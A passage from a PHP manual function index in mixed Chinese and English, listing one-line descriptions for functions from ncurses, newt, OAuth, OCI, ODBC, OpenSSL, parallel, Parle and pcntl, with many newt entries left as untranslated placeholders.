    • ncurses_standout - Start using 'standout' attribute
    • ncurses_start_color - Initializes color functionality
    • ncurses_termattrs - Returns a logical OR of all attribute flags supported by terminal
    • ncurses_termname - Returns terminals (short)-name
    • ncurses_timeout - Set timeout for special key sequences
    • ncurses_top_panel - Moves a visible panel to the top of the stack
    • ncurses_typeahead - Specify different filedescriptor for typeahead checking
    • ncurses_ungetch - Put a character back into the input stream
    • ncurses_ungetmouse - Pushes mouse event to queue
    • ncurses_update_panels - Refreshes the virtual screen to reflect the relations between panels in the stack
    • ncurses_use_default_colors - Assign terminal default colors to color id -1
    • ncurses_use_env - Control use of environment information about terminal size
    • ncurses_use_extended_names - Control use of extended names in terminfo descriptions
    • ncurses_vidattr - Display the string on the terminal in the video attribute mode
    • ncurses_vline - Draw a vertical line at current position using an attributed character and max. n characters long
    • ncurses_waddch - Adds character at current position in a window and advance cursor
    • ncurses_waddstr - Outputs text at current postion in window
    • ncurses_wattroff - Turns off attributes for a window
    • ncurses_wattron - Turns on attributes for a window
    • ncurses_wattrset - Set the attributes for a window
    • ncurses_wborder - Draws a border around the window using attributed characters
    • ncurses_wclear - Clears window
    • ncurses_wcolor_set - Sets windows color pairings
    • ncurses_werase - Erase window contents
    • ncurses_wgetch - Reads a character from keyboard (window)
    • ncurses_whline - Draws a horizontal line in a window at current position using an attributed character and max. n characters long
    • ncurses_wmouse_trafo - Transforms window/stdscr coordinates
    • ncurses_wmove - Moves windows output position
    • ncurses_wnoutrefresh - Copies window to virtual screen
    • ncurses_wrefresh - Refresh window on terminal screen
    • ncurses_wstandend - End standout mode for a window
    • ncurses_wstandout - Enter standout mode for a window
    • ncurses_wvline - Draws a vertical line in a window at current position using an attributed character and max. n characters long
    • newt_bell - Send a beep to the terminal
    • newt_button - Create a new button
    • newt_button_bar - This function returns a grid containing the buttons created
    • newt_centered_window - Open a centered window of the specified size
    • newt_checkbox - 说明
    • newt_checkbox_get_value - Retreives value of checkox resource
    • newt_checkbox_set_flags - Configures checkbox resource
    • newt_checkbox_set_value - Sets the value of the checkbox
    • newt_checkbox_tree - 说明
    • newt_checkbox_tree_add_item - Adds new item to the checkbox tree
    • newt_checkbox_tree_find_item - Finds an item in the checkbox tree
    • newt_checkbox_tree_get_current - Returns checkbox tree selected item
    • newt_checkbox_tree_get_entry_value - 说明
    • newt_checkbox_tree_get_multi_selection - 说明
    • newt_checkbox_tree_get_selection - 说明
    • newt_checkbox_tree_multi - 说明
    • newt_checkbox_tree_set_current - 说明
    • newt_checkbox_tree_set_entry - 说明
    • newt_checkbox_tree_set_entry_value - 说明
    • newt_checkbox_tree_set_width - 说明
    • newt_clear_key_buffer - Discards the contents of the terminal's input buffer without waiting for additional input
    • newt_cls - 说明
    • newt_compact_button - 说明
    • newt_component_add_callback - 说明
    • newt_component_takes_focus - 说明
    • newt_create_grid - 说明
    • newt_cursor_off - 说明
    • newt_cursor_on - 说明
    • newt_delay - 说明
    • newt_draw_form - 说明
    • newt_draw_root_text - Displays the string text at the position indicated
    • newt_entry - 说明
    • newt_entry_get_value - 说明
    • newt_entry_set - 说明
    • newt_entry_set_filter - 说明
    • newt_entry_set_flags - 说明
    • newt_finished - Uninitializes newt interface
    • newt_form - Create a form
    • newt_form_add_component - Adds a single component to the form
    • newt_form_add_components - Add several components to the form
    • newt_form_add_hot_key - 说明
    • newt_form_destroy - Destroys a form
    • newt_form_get_current - 说明
    • newt_form_run - Runs a form
    • newt_form_set_background - 说明
    • newt_form_set_height - 说明
    • newt_form_set_size - 说明
    • newt_form_set_timer - 说明
    • newt_form_set_width - 说明
    • newt_form_watch_fd - 说明
    • newt_get_screen_size - Fills in the passed references with the current size of the terminal
    • newt_grid_add_components_to_form - 说明
    • newt_grid_basic_window - 说明
    • newt_grid_free - 说明
    • newt_grid_get_size - 说明
    • newt_grid_h_close_stacked - 说明
    • newt_grid_h_stacked - 说明
    • newt_grid_place - 说明
    • newt_grid_set_field - 说明
    • newt_grid_simple_window - 说明
    • newt_grid_v_close_stacked - 说明
    • newt_grid_v_stacked - 说明
    • newt_grid_wrapped_window - 说明
    • newt_grid_wrapped_window_at - 说明
    • newt_init - Initialize newt
    • newt_label - 说明
    • newt_label_set_text - 说明
    • newt_listbox - 说明
    • newt_listbox_append_entry - 说明
    • newt_listbox_clear - 说明
    • newt_listbox_clear_selection - 说明
    • newt_listbox_delete_entry - 说明
    • newt_listbox_get_current - 说明
    • newt_listbox_get_selection - 说明
    • newt_listbox_insert_entry - 说明
    • newt_listbox_item_count - 说明
    • newt_listbox_select_item - 说明
    • newt_listbox_set_current - 说明
    • newt_listbox_set_current_by_key - 说明
    • newt_listbox_set_data - 说明
    • newt_listbox_set_entry - 说明
    • newt_listbox_set_width - 说明
    • newt_listitem - 说明
    • newt_listitem_get_data - 说明
    • newt_listitem_set - 说明
    • newt_open_window - Open a window of the specified size and position
    • newt_pop_help_line - Replaces the current help line with the one from the stack
    • newt_pop_window - Removes the top window from the display
    • newt_push_help_line - Saves the current help line on a stack, and displays the new line
    • newt_radiobutton - 说明
    • newt_radio_get_current - 说明
    • newt_redraw_help_line - 说明
    • newt_reflow_text - 说明
    • newt_refresh - Updates modified portions of the screen
    • newt_resize_screen - 说明
    • newt_resume - Resume using the newt interface after calling newt_suspend
    • newt_run_form - Runs a form
    • newt_scale - 说明
    • newt_scale_set - 说明
    • newt_scrollbar_set - 说明
    • newt_set_help_callback - 说明
    • newt_set_suspend_callback - Set a callback function which gets invoked when user presses the suspend key
    • newt_suspend - Tells newt to return the terminal to its initial state
    • newt_textbox - 说明
    • newt_textbox_get_num_lines - 说明
    • newt_textbox_reflowed - 说明
    • newt_textbox_set_height - 说明
    • newt_textbox_set_text - 说明
    • newt_vertical_scrollbar - 说明
    • newt_wait_for_key - Doesn't return until a key has been pressed
    • newt_win_choice - 说明
    • newt_win_entries - 说明
    • newt_win_menu - 说明
    • newt_win_message - 说明
    • newt_win_messagev - 说明
    • newt_win_ternary - 说明
    • next - 将数组中的内部指针向前移动一位
    • ngettext - Plural version of gettext
    • nl2br - 在字符串所有新行之前插入 HTML 换行标记
    • nl_langinfo - Query language and locale information
    • NoRewindIterator::current - Get the current value
    • NoRewindIterator::getInnerIterator - Get the inner iterator
    • NoRewindIterator::key - Get the current key
    • NoRewindIterator::next - Forward to the next element
    • NoRewindIterator::rewind - Prevents the rewind operation on the inner iterator
    • NoRewindIterator::valid - Validates the iterator
    • NoRewindIterator::__construct - Construct a NoRewindIterator
    • Normalizer::getRawDecomposition - Gets the Decomposition_Mapping property for the given UTF-8 encoded code point
    • Normalizer::isNormalized - Checks if the provided string is already in the specified normalization form
    • Normalizer::normalize - Normalizes the input provided and returns the normalized string
    • nsapi_request_headers - Fetch all HTTP request headers
    • nsapi_response_headers - Fetch all HTTP response headers
    • nsapi_virtual - Perform an NSAPI sub-request
    • NumberFormatter::create - Create a number formatter
    • NumberFormatter::format - Format a number
    • NumberFormatter::formatCurrency - Format a currency value
    • NumberFormatter::getAttribute - Get an attribute
    • NumberFormatter::getErrorCode - Get formatter's last error code
    • NumberFormatter::getErrorMessage - Get formatter's last error message
    • NumberFormatter::getLocale - Get formatter locale
    • NumberFormatter::getPattern - Get formatter pattern
    • NumberFormatter::getSymbol - Get a symbol value
    • NumberFormatter::getTextAttribute - Get a text attribute
    • NumberFormatter::parse - Parse a number
    • NumberFormatter::parseCurrency - Parse a currency number
    • NumberFormatter::setAttribute - Set an attribute
    • NumberFormatter::setPattern - Set formatter pattern
    • NumberFormatter::setSymbol - Set a symbol value
    • NumberFormatter::setTextAttribute - Set a text attribute
    • number_format - 以千位分隔符方式格式化一个数字
  • o
    • OAuth::disableDebug - 关闭详细的调试
    • OAuth::disableRedirects - 关闭重定向
    • OAuth::disableSSLChecks - 关闭 SSL 检查
    • OAuth::enableDebug - 启用详细调试
    • OAuth::enableRedirects - 启用重定向
    • OAuth::enableSSLChecks - 启用 SSL 检查
    • OAuth::fetch - 获取一个 OAuth 受保护的资源
    • OAuth::generateSignature - 生成一个签名
    • OAuth::getAccessToken - 获取一个访问令牌
    • OAuth::getCAPath - 获取 CA 信息
    • OAuth::getLastResponse - 获取最后一次的响应
    • OAuth::getLastResponseHeaders - 获取最后一次响应的头信息
    • OAuth::getLastResponseInfo - 获取关于最后一次响应的 HTTP 信息
    • OAuth::getRequestHeader - 生成 OAuth 头信息字符串签名
    • OAuth::getRequestToken - 获取一个请求令牌
    • OAuth::setAuthType - 设置授权类型
    • OAuth::setCAPath - 设置 CA 路径和信息
    • OAuth::setNonce - 为后续请求设置现时标志
    • OAuth::setRequestEngine - 设置目标请求引擎
    • OAuth::setRSACertificate - 设置 RSA 证书
    • OAuth::setSSLChecks - 调整特定的SSL请求检查
    • OAuth::setTimestamp - 设置时间戳
    • OAuth::setToken - 设置令牌和 secret
    • OAuth::setVersion - 设置 OAuth 版本
    • OAuth::__construct - 新建一个 OAuth 对象
    • OAuth::__destruct - 析构函数
    • OAuthProvider::addRequiredParameter - 添加必需的参数
    • OAuthProvider::callconsumerHandler - 调用 consumerNonceHandler 回调函数
    • OAuthProvider::callTimestampNonceHandler - 调用 timestampNonceHandler 回调函数
    • OAuthProvider::calltokenHandler - 调用 tokenNonceHandler 回调函数
    • OAuthProvider::checkOAuthRequest - 检查一个 oauth 请求
    • OAuthProvider::consumerHandler - 设置 consumerHandler 句柄回调函数
    • OAuthProvider::generateToken - 生成一个随机令牌
    • OAuthProvider::is2LeggedEndpoint - is2LeggedEndpoint
    • OAuthProvider::isRequestTokenEndpoint - 设置 isRequestTokenEndpoint
    • OAuthProvider::removeRequiredParameter - 移除一个必需的参数
    • OAuthProvider::reportProblem - 报告问题
    • OAuthProvider::setParam - 设置一个参数
    • OAuthProvider::setRequestTokenPath - 设置请求令牌路径
    • OAuthProvider::timestampNonceHandler - 设置 timestampNonceHandler 句柄回调函数
    • OAuthProvider::tokenHandler - 设置 tokenHandler 句柄回调函数
    • OAuthProvider::__construct - 新建一个 OAuthProvider 对象
    • oauth_get_sbs - 生成一个签名字符基串
    • oauth_urlencode - 将 URI 编码为 RFC 3986 规范
    • ob_clean - 清空（擦掉）输出缓冲区
    • ob_end_clean - 清空（擦除）缓冲区并关闭输出缓冲
    • ob_end_flush - 冲刷出（送出）输出缓冲区内容并关闭缓冲
    • ob_flush - 冲刷出（送出）输出缓冲区中的内容
    • ob_get_clean - 得到当前缓冲区的内容并删除当前输出缓。
    • ob_get_contents - 返回输出缓冲区的内容
    • ob_get_flush - 刷出（送出）缓冲区内容，以字符串形式返回内容，并关闭输出缓冲区。
    • ob_get_length - 返回输出缓冲区内容的长度
    • ob_get_level - 返回输出缓冲机制的嵌套级别
    • ob_get_status - 得到所有输出缓冲区的状态
    • ob_gzhandler - 在ob_start中使用的用来压缩输出缓冲区中内容的回调函数。ob_start callback function to gzip output buffer
    • ob_iconv_handler - 以输出缓冲处理程序转换字符编码
    • ob_implicit_flush - 打开/关闭绝对刷送
    • ob_list_handlers - 列出所有使用中的输出处理程序。
    • ob_start - 打开输出控制缓冲
    • ob_tidyhandler - ob_start callback function to repair the buffer
    • OCI-Collection::append - Appends element to the collection
    • OCI-Collection::assign - Assigns a value to the collection from another existing collection
    • OCI-Collection::assignElem - Assigns a value to the element of the collection
    • OCI-Collection::free - Frees the resources associated with the collection object
    • OCI-Collection::getElem - Returns value of the element
    • OCI-Collection::max - Returns the maximum number of elements in the collection
    • OCI-Collection::size - Returns size of the collection
    • OCI-Collection::trim - Trims elements from the end of the collection
    • OCI-Lob::append - Appends data from the large object to another large object
    • OCI-Lob::close - Closes LOB descriptor
    • OCI-Lob::eof - Tests for end-of-file on a large object's descriptor
    • OCI-Lob::erase - Erases a specified portion of the internal LOB data
    • OCI-Lob::export - Exports LOB's contents to a file
    • OCI-Lob::flush - Flushes/writes buffer of the LOB to the server
    • OCI-Lob::free - Frees resources associated with the LOB descriptor
    • OCI-Lob::getBuffering - Returns current state of buffering for the large object
    • OCI-Lob::import - Imports file data to the LOB
    • OCI-Lob::load - Returns large object's contents
    • OCI-Lob::read - Reads part of the large object
    • OCI-Lob::rewind - Moves the internal pointer to the beginning of the large object
    • OCI-Lob::save - Saves data to the large object
    • OCI-Lob::saveFile - 别名 OCI-Lob::import
    • OCI-Lob::seek - Sets the internal pointer of the large object
    • OCI-Lob::setBuffering - Changes current state of buffering for the large object
    • OCI-Lob::size - Returns size of large object
    • OCI-Lob::tell - Returns the current position of internal pointer of large object
    • OCI-Lob::truncate - Truncates large object
    • OCI-Lob::write - Writes data to the large object
    • OCI-Lob::writeTemporary - Writes a temporary large object
    • OCI-Lob::writeToFile - 别名 OCI-Lob::export
    • ocibindbyname - 别名 oci_bind_by_name
    • ocicancel - 别名 oci_cancel
    • ocicloselob - 别名 OCI-Lob::close
    • ocicollappend - 别名 OCI-Collection::append
    • ocicollassign - 别名 OCI-Collection::assign
    • ocicollassignelem - 别名 OCI-Collection::assignElem
    • ocicollgetelem - 别名 OCI-Collection::getElem
    • ocicollmax - 别名 OCI-Collection::max
    • ocicollsize - 别名 OCI-Collection::size
    • ocicolltrim - 别名 OCI-Collection::trim
    • ocicolumnisnull - 别名 oci_field_is_null
    • ocicolumnname - 别名 oci_field_name
    • ocicolumnprecision - 别名 oci_field_precision
    • ocicolumnscale - 别名 oci_field_scale
    • ocicolumnsize - 别名 oci_field_size
    • ocicolumntype - 别名 oci_field_type
    • ocicolumntyperaw - 别名 oci_field_type_raw
    • ocicommit - 别名 oci_commit
    • ocidefinebyname - 别名 oci_define_by_name
    • ocierror - 别名 oci_error
    • ociexecute - 别名 oci_execute
    • ocifetch - 别名 oci_fetch
    • ocifetchinto - Obsolete variant of oci_fetch_array, oci_fetch_object, oci_fetch_assoc and oci_fetch_row
    • ocifetchstatement - 别名 oci_fetch_all
    • ocifreecollection - 别名 OCI-Collection::free
    • ocifreecursor - 别名 oci_free_statement
    • ocifreedesc - 别名 OCI-Lob::free
    • ocifreestatement - 别名 oci_free_statement
    • ociinternaldebug - 别名 oci_internal_debug
    • ociloadlob - 别名 OCI-Lob::load
    • ocilogoff - 别名 oci_close
    • ocilogon - 别名 oci_connect
    • ocinewcollection - 别名 oci_new_collection
    • ocinewcursor - 别名 oci_new_cursor
    • ocinewdescriptor - 别名 oci_new_descriptor
    • ocinlogon - 别名 oci_new_connect
    • ocinumcols - 别名 oci_num_fields
    • ociparse - 别名 oci_parse
    • ociplogon - 别名 oci_pconnect
    • ociresult - 别名 oci_result
    • ocirollback - 别名 oci_rollback
    • ocirowcount - 别名 oci_num_rows
    • ocisavelob - 别名 OCI-Lob::save
    • ocisavelobfile - 别名 OCI-Lob::import
    • ociserverversion - 别名 oci_server_version
    • ocisetprefetch - 别名 oci_set_prefetch
    • ocistatementtype - 别名 oci_statement_type
    • ociwritelobtofile - 别名 OCI-Lob::export
    • ociwritetemporarylob - 别名 OCI-Lob::writeTemporary
    • oci_bind_array_by_name - Binds a PHP array to an Oracle PL/SQL array parameter
    • oci_bind_by_name - 绑定一个 PHP 变量到一个 Oracle 位置标志符
    • oci_cancel - 中断游标读取数据
    • oci_client_version - Returns the Oracle client library version
    • oci_close - 关闭 Oracle 连接
    • oci_commit - 提交未执行的事务处理
    • oci_connect - 建立一个到 Oracle 服务器的连接
    • oci_define_by_name - 在 SELECT 中使用 PHP 变量作为定义的步骤
    • oci_error - 返回上一个错误
    • oci_execute - 执行一条语句
    • oci_fetch - Fetches the next row into result-buffer
    • oci_fetch_all - 获取结果数据的所有行到一个数组
    • oci_fetch_array - Returns the next row from a query as an associative or numeric array
    • oci_fetch_assoc - Returns the next row from a query as an associative array
    • oci_fetch_object - Returns the next row from a query as an object
    • oci_fetch_row - Returns the next row from a query as a numeric array
    • oci_field_is_null - 检查字段是否为 NULL
    • oci_field_name - 返回字段名
    • oci_field_precision - 返回字段精度
    • oci_field_scale - 返回字段范围
    • oci_field_size - 返回字段大小
    • oci_field_type - 返回字段的数据类型
    • oci_field_type_raw - 返回字段的原始 Oracle 数据类型
    • oci_free_descriptor - Frees a descriptor
    • oci_free_statement - 释放关联于语句或游标的所有资源
    • oci_get_implicit_resultset - Returns the next child statement resource from a parent statement resource that has Oracle Database 12c Implicit Result Sets
    • oci_internal_debug - 打开或关闭内部调试输出
    • oci_lob_copy - Copies large object
    • oci_lob_is_equal - Compares two LOB/FILE locators for equality
    • oci_new_collection - 分配新的 collection 对象
    • oci_new_connect - 建定一个到 Oracle 服务器的新连接
    • oci_new_cursor - 分配并返回一个新的游标（语句句柄）
    • oci_new_descriptor - 初始化一个新的空 LOB 或 FILE 描述符
    • oci_num_fields - 返回结果列的数目
    • oci_num_rows - 返回语句执行后受影响的行数
    • oci_parse - 配置 Oracle 语句预备执行
    • oci_password_change - 修改 Oracle 用户的密码
    • oci_pconnect - 使用一个持久连接连到 Oracle 数据库
    • oci_register_taf_callback - Register a user-defined callback function for Oracle Database TAF
    • oci_result - 返回所取得行中字段的值
    • oci_rollback - 回滚未提交的事务
    • oci_server_version - 返回服务器版本信息
    • oci_set_action - Sets the action name
    • oci_set_call_timeout - Sets a millisecond timeout for database calls
    • oci_set_client_identifier - Sets the client identifier
    • oci_set_client_info - Sets the client information
    • oci_set_db_operation - Sets the database operation
    • oci_set_edition - Sets the database edition
    • oci_set_module_name - Sets the module name
    • oci_set_prefetch - 设置预提取行数
    • oci_statement_type - 返回 OCI 语句的类型
    • oci_unregister_taf_callback - Unregister a user-defined callback function for Oracle Database TAF
    • octdec - 八进制转换为十进制
    • odbc_autocommit - Toggle autocommit behaviour
    • odbc_binmode - Handling of binary column data
    • odbc_close - Close an ODBC connection
    • odbc_close_all - Close all ODBC connections
    • odbc_columnprivileges - Lists columns and associated privileges for the given table
    • odbc_columns - Lists the column names in specified tables
    • odbc_commit - Commit an ODBC transaction
    • odbc_connect - Connect to a datasource
    • odbc_cursor - Get cursorname
    • odbc_data_source - Returns information about a current connection
    • odbc_do - 别名 odbc_exec
    • odbc_error - Get the last error code
    • odbc_errormsg - Get the last error message
    • odbc_exec - Prepare and execute an SQL statement
    • odbc_execute - Execute a prepared statement
    • odbc_fetch_array - Fetch a result row as an associative array
    • odbc_fetch_into - Fetch one result row into array
    • odbc_fetch_object - Fetch a result row as an object
    • odbc_fetch_row - Fetch a row
    • odbc_field_len - Get the length (precision) of a field
    • odbc_field_name - Get the columnname
    • odbc_field_num - Return column number
    • odbc_field_precision - 别名 odbc_field_len
    • odbc_field_scale - Get the scale of a field
    • odbc_field_type - Datatype of a field
    • odbc_foreignkeys - Retrieves a list of foreign keys
    • odbc_free_result - Free resources associated with a result
    • odbc_gettypeinfo - Retrieves information about data types supported by the data source
    • odbc_longreadlen - Handling of LONG columns
    • odbc_next_result - Checks if multiple results are available
    • odbc_num_fields - Number of columns in a result
    • odbc_num_rows - Number of rows in a result
    • odbc_pconnect - Open a persistent database connection
    • odbc_prepare - Prepares a statement for execution
    • odbc_primarykeys - Gets the primary keys for a table
    • odbc_procedurecolumns - Retrieve information about parameters to procedures
    • odbc_procedures - Get the list of procedures stored in a specific data source
    • odbc_result - Get result data
    • odbc_result_all - Print result as HTML table
    • odbc_rollback - Rollback a transaction
    • odbc_setoption - Adjust ODBC settings
    • odbc_specialcolumns - Retrieves special columns
    • odbc_statistics - Retrieve statistics about a table
    • odbc_tableprivileges - Lists tables and the privileges associated with each table
    • odbc_tables - Get the list of table names stored in a specific data source
    • ogg:// - 音频流
    • opcache_compile_file - 无需运行，即可编译并缓存 PHP 脚本
    • opcache_get_configuration - 获取缓存的配置信息
    • opcache_get_status - 获取缓存的状态信息
    • opcache_invalidate - 废除脚本缓存
    • opcache_is_script_cached - Tells whether a script is cached in OPCache
    • opcache_reset - 重置字节码缓存的内容
    • openal_buffer_create - Generate OpenAL buffer
    • openal_buffer_data - Load a buffer with data
    • openal_buffer_destroy - Destroys an OpenAL buffer
    • openal_buffer_get - Retrieve an OpenAL buffer property
    • openal_buffer_loadwav - Load a .wav file into a buffer
    • openal_context_create - Create an audio processing context
    • openal_context_current - Make the specified context current
    • openal_context_destroy - Destroys a context
    • openal_context_process - Process the specified context
    • openal_context_suspend - Suspend the specified context
    • openal_device_close - Close an OpenAL device
    • openal_device_open - Initialize the OpenAL audio layer
    • openal_listener_get - Retrieve a listener property
    • openal_listener_set - Set a listener property
    • openal_source_create - Generate a source resource
    • openal_source_destroy - Destroy a source resource
    • openal_source_get - Retrieve an OpenAL source property
    • openal_source_pause - Pause the source
    • openal_source_play - Start playing the source
    • openal_source_rewind - Rewind the source
    • openal_source_set - Set source property
    • openal_source_stop - Stop playing the source
    • openal_stream - Begin streaming on a source
    • opendir - 打开目录句柄
    • openlog - Open connection to system logger
    • openssl_cipher_iv_length - 获取密码iv长度
    • openssl_csr_export - 将CSR作为字符串导出
    • openssl_csr_export_to_file - 将CSR导出到文件
    • openssl_csr_get_public_key - 返回CSR的公钥
    • openssl_csr_get_subject - 返回CSR的主题
    • openssl_csr_new - 生成一个 CSR
    • openssl_csr_sign - 用另一个证书签署 CSR (或者本身) 并且生成一个证书
    • openssl_decrypt - 解密数据
    • openssl_dh_compute_key - 计算远程DH密钥(公钥)和本地DH密钥的共享密钥
    • openssl_digest - 计算摘要
    • openssl_encrypt - 加密数据
    • openssl_error_string - 返回 openSSL 错误消息
    • openssl_free_key - 释放密钥资源
    • openssl_get_cert_locations - 检索可用的证书位置
    • openssl_get_cipher_methods - 获取可用的加密算法
    • openssl_get_curve_names - 获得ECC的可用曲线名称列表
    • openssl_get_md_methods - 获取可用的摘要算法
    • openssl_get_privatekey - 别名 openssl_pkey_get_private
    • openssl_get_publickey - 别名 openssl_pkey_get_public
    • openssl_open - 打开密封的数据
    • openssl_pbkdf2 - 生成一个 PKCS5 v2 PBKDF2 字符串
    • openssl_pkcs7_decrypt - 解密一个 S/MIME 加密的消息
    • openssl_pkcs7_encrypt - 加密一个 S/MIME 消息
    • openssl_pkcs7_read - 将PKCS7文件导出为PEM格式证书的数组
    • openssl_pkcs7_sign - 对一个 S/MIME 消息进行签名
    • openssl_pkcs7_verify - 校验一个已签名的 S/MIME 消息的签名
    • openssl_pkcs12_export - 将 PKCS#12 兼容证书存储文件导出到变量
    • openssl_pkcs12_export_to_file - 输出一个 PKCS#12 兼容的证书存储文件
    • openssl_pkcs12_read - 将 PKCS#12 证书存储区解析到数组中
    • openssl_pkey_export - 将一个密钥的可输出表示转换为字符串
    • openssl_pkey_export_to_file - 将密钥导出到文件中
    • openssl_pkey_free - 释放一个私钥
    • openssl_pkey_get_details - 返回包含密钥详情的数组
    • openssl_pkey_get_private - 获取私钥
    • openssl_pkey_get_public - 从证书中解析公钥，以供使用。
    • openssl_pkey_new - 生成一个新的私钥
    • openssl_private_decrypt - 使用私钥解密数据
    • openssl_private_encrypt - 使用私钥加密数据
    • openssl_public_decrypt - 使用公钥解密数据
    • openssl_public_encrypt - 使用公钥加密数据
    • openssl_random_pseudo_bytes - 生成一个伪随机字节串
    • openssl_seal - 密封 (加密) 数据
    • openssl_sign - Generate signature
    • openssl_spki_export - 通过签名公钥和挑战导出一个可用的PEM格式的公钥
    • openssl_spki_export_challenge - 导出与签名公钥和挑战相关的挑战字符串
    • openssl_spki_new - 生成一个新的签名公钥和挑战
    • openssl_spki_verify - 验证签名公钥和挑战。
    • openssl_verify - 验证签名
    • openssl_x509_checkpurpose - 验证是否可以为特定目的使用证书
    • openssl_x509_check_private_key - 检查私钥是否对应于证书
    • openssl_x509_export - 以字符串格式导出证书
    • openssl_x509_export_to_file - 导出证书至文件
    • openssl_x509_fingerprint - 计算一个给定的x.509证书的指纹或摘要
    • openssl_x509_free - 释放证书资源
    • openssl_x509_parse - 解析一个X509证书并作为一个数组返回信息
    • openssl_x509_read - 解析一个x.509证书并返回一个资源标识符
    • ord - 转换字符串第一个字节为 0-255 之间的值
    • OuterIterator::getInnerIterator - Returns the inner iterator for the current entry
    • output_add_rewrite_var - 添加URL重写器的值（Add URL rewriter values）
    • output_reset_rewrite_vars - 重设URL重写器的值（Reset URL rewriter values）
    • override_function - Overrides built-in functions
  • p
    • pack - 将数据打包成二进制字符串
    • parallel\bootstrap - Bootstrapping
    • parallel\Channel::close - Closing
    • parallel\Channel::make - Access
    • parallel\Channel::open - Access
    • parallel\Channel::recv - Sharing
    • parallel\Channel::send - Sharing
    • parallel\Channel::__construct - Channel Construction
    • parallel\Events::addChannel - Targets
    • parallel\Events::addFuture - Targets
    • parallel\Events::poll - Polling
    • parallel\Events::remove - Targets
    • parallel\Events::setBlocking - Behaviour
    • parallel\Events::setInput - Input
    • parallel\Events::setTimeout - Behaviour
    • parallel\Events\Input::add - Inputs
    • parallel\Events\Input::clear - Inputs
    • parallel\Events\Input::remove - Inputs
    • parallel\Future::cancel - Cancellation
    • parallel\Future::cancelled - State Detection
    • parallel\Future::done - State Detection
    • parallel\Future::value - Resolution
    • parallel\run - Execution
    • parallel\Runtime::close - Runtime Graceful Join
    • parallel\Runtime::kill - Runtime Join
    • parallel\Runtime::run - Execution
    • parallel\Runtime::__construct - Runtime Construction
    • parallel\Sync::get - Access
    • parallel\Sync::notify - Synchronization
    • parallel\Sync::set - Access
    • parallel\Sync::wait - Synchronization
    • parallel\Sync::__construct - Construction
    • parallel\Sync::__invoke - Synchronization
    • ParentIterator::accept - Determines acceptability
    • ParentIterator::getChildren - Return the inner iterator's children contained in a ParentIterator
    • ParentIterator::hasChildren - Check whether the inner iterator's current element has children
    • ParentIterator::next - Move the iterator forward
    • ParentIterator::rewind - Rewind the iterator
    • ParentIterator::__construct - Constructs a ParentIterator
    • Parle\Lexer::advance - Process next lexer rule
    • Parle\Lexer::build - Finalize the lexer rule set
    • Parle\Lexer::callout - Define token callback
    • Parle\Lexer::consume - Pass the data for processing
    • Parle\Lexer::dump - Dump the state machine
    • Parle\Lexer::getToken - Retrieve the current token
    • Parle\Lexer::insertMacro - Insert regex macro
    • Parle\Lexer::push - Add a lexer rule
    • Parle\Lexer::reset - Reset lexer
    • Parle\Parser::advance - Process next parser rule
    • Parle\Parser::build - Finalize the grammar rules
    • Parle\Parser::consume - Consume the data for processing
    • Parle\Parser::dump - Dump the grammar
    • Parle\Parser::errorInfo - Retrieve the error information
    • Parle\Parser::left - Declare a token with left-associativity
    • Parle\Parser::nonassoc - Declare a token with no associativity
    • Parle\Parser::precedence - Declare a precedence rule
    • Parle\Parser::push - Add a grammar rule
    • Parle\Parser::reset - Reset parser state
    • Parle\Parser::right - Declare a token with right-associativity
    • Parle\Parser::sigil - Retrieve a matching part of a rule
    • Parle\Parser::token - Declare a token
    • Parle\Parser::tokenId - Get token id
    • Parle\Parser::trace - Trace the parser operation
    • Parle\Parser::validate - Validate input
    • Parle\RLexer::advance - Process next lexer rule
    • Parle\RLexer::build - Finalize the lexer rule set
    • Parle\RLexer::callout - Define token callback
    • Parle\RLexer::consume - Pass the data for processing
    • Parle\RLexer::dump - Dump the state machine
    • Parle\RLexer::getToken - Retrieve the current token
    • Parle\RLexer::insertMacro - Insert regex macro
    • Parle\RLexer::push - Add a lexer rule
    • Parle\RLexer::pushState - Push a new start state
    • Parle\RLexer::reset - Reset lexer
    • Parle\RParser::advance - Process next parser rule
    • Parle\RParser::build - Finalize the grammar rules
    • Parle\RParser::consume - Consume the data for processing
    • Parle\RParser::dump - Dump the grammar
    • Parle\RParser::errorInfo - Retrieve the error information
    • Parle\RParser::left - Declare a token with left-associativity
    • Parle\RParser::nonassoc - Declare a token with no associativity
    • Parle\RParser::precedence - Declare a precedence rule
    • Parle\RParser::push - Add a grammar rule
    • Parle\RParser::reset - Reset parser state
    • Parle\RParser::right - Declare a token with right-associativity
    • Parle\RParser::sigil - Retrieve a matching part of a rule
    • Parle\RParser::token - Declare a token
    • Parle\RParser::tokenId - Get token id
    • Parle\RParser::trace - Trace the parser operation
    • Parle\RParser::validate - Validate input
    • Parle\Stack::pop - Pop an item from the stack
    • Parle\Stack::push - Push an item into the stack
    • parsekit_compile_file - Compile a PHP file and return the resulting op array
    • parsekit_compile_string - Compile a string of PHP code and return the resulting op array
    • parsekit_func_arginfo - Return information regarding function argument(s)
    • parse_ini_file - 解析一个配置文件
    • parse_ini_string - 解析配置字符串
    • parse_str - 将字符串解析成多个变量
    • parse_url - 解析 URL，返回其组成部分
    • passthru - 执行外部程序并且显示原始输出
    • password_get_info - 返回指定散列（hash）的相关信息
    • password_hash - 创建密码的散列（hash）
    • password_needs_rehash - 检测散列值是否匹配指定的选项
    • password_verify - 验证密码是否和散列值匹配
    • pathinfo - 返回文件路径的信息
    • pclose - 关闭进程文件指针
    • pcntl_alarm - 为进程设置一个alarm闹钟信号
    • pcntl_async_signals - Enable/disable asynchronous signal handling or return the old setting
    • pcntl_errno - 别名 pcntl_get_last_error
    • pcntl_exec - 在当前进程空间执行指定程序
    • pcntl_fork - 在当前进程当前位置产生分支（子进程）。译注：fork是创建了一个子进程，父进程和子进程 都从fork的位置开始向下继续执行，不同的是父进程执行过程中，得到的fork返回值为子进程 号，而子进程得到的是0。
    • pcntl_getpriority - 获取任意进程的优先级
    • pcntl_get_last_error - Retrieve the error number set by the last pcntl function which failed
    • pcntl_setpriority - 修改任意进程的优先级
    • pcntl_signal - 安装一个信号处理器
    • pcntl_signal_dispatch - 调用等待信号的处理器
    • pcntl_signal_get_handler - Get the current handler for specified signal
    • pcntl_sigprocmask - 设置或检索阻塞信号
    • pcntl_sigtimedwait - 带超时机制的信号等待
    • pcntl_sigwaitinfo - 等待信号
    • pcntl_strerror - Retrieve the system error message associated with the given errno
    • pcntl_wait - 等待或返回fork的子进程状态
    • pcntl_waitpid - 等待或返回fork的子进程状态
    • pcntl_wexitstatus - 返回一个中断的子进程的返回代码
    • pcntl_wifexited - 检查状态代码是否代表一个正常的退出。
